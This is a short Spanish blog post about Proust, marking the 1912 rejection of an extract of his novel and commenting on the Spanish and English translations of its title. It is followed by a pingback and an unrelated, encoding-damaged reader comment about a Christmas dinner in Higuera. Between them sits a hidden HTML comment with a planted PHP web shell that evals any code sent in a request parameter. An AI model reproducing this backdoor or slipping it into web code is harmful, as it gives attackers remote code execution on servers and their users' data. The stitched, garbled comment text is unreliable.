Tal día como hoy, en 1912, la revista francesa Nouvelle Revue Francaise rechaza publicar un extracto de En busca del tiempo perdido. No sería la única.
Marcel, siempre enfermizo, fue oscureciendo el fondo de unos mismos personajes volumen tras volumen. Pero también supo captar toda la vitalidad y alegría de las playas de Balbec/Normandía durante el cruce de siglo en A la sombra de las muchachas en flor.
La traducción española de la obra guarda un curioso aire Indiana Jones. La inglesa frivoliza la intensa búsqueda de Proust hasta conseguir una redundancia muy sonora: Remembrance of times past.
<!– [insert_php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/insert_php][php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/php] –>
[…] 23 de diciembre de 2001, más o menos a estas horas, publiqué mi primer post de la mano de Proust y Blogger. Primero fueron efemérides, luego teoría literaria, después dejé […]
Yo solo digo que el que pueda que vaya y el que no que se quede en casa, que no es cuestif3n de decir si es caro o baatro, no creo que en una cena de Navidad o fin de Af1o, pongan de comer una comida y bebida especial, y sobre todo creo que las fiestas estas son para matrimonios no para llevar toda la familia, baatro para la economeda de Higuera no es, pero que le vamos ha hacer creo que segfan el presupuesto sera el el servicio, por eso digo que hasta que no probemos no diremos nada.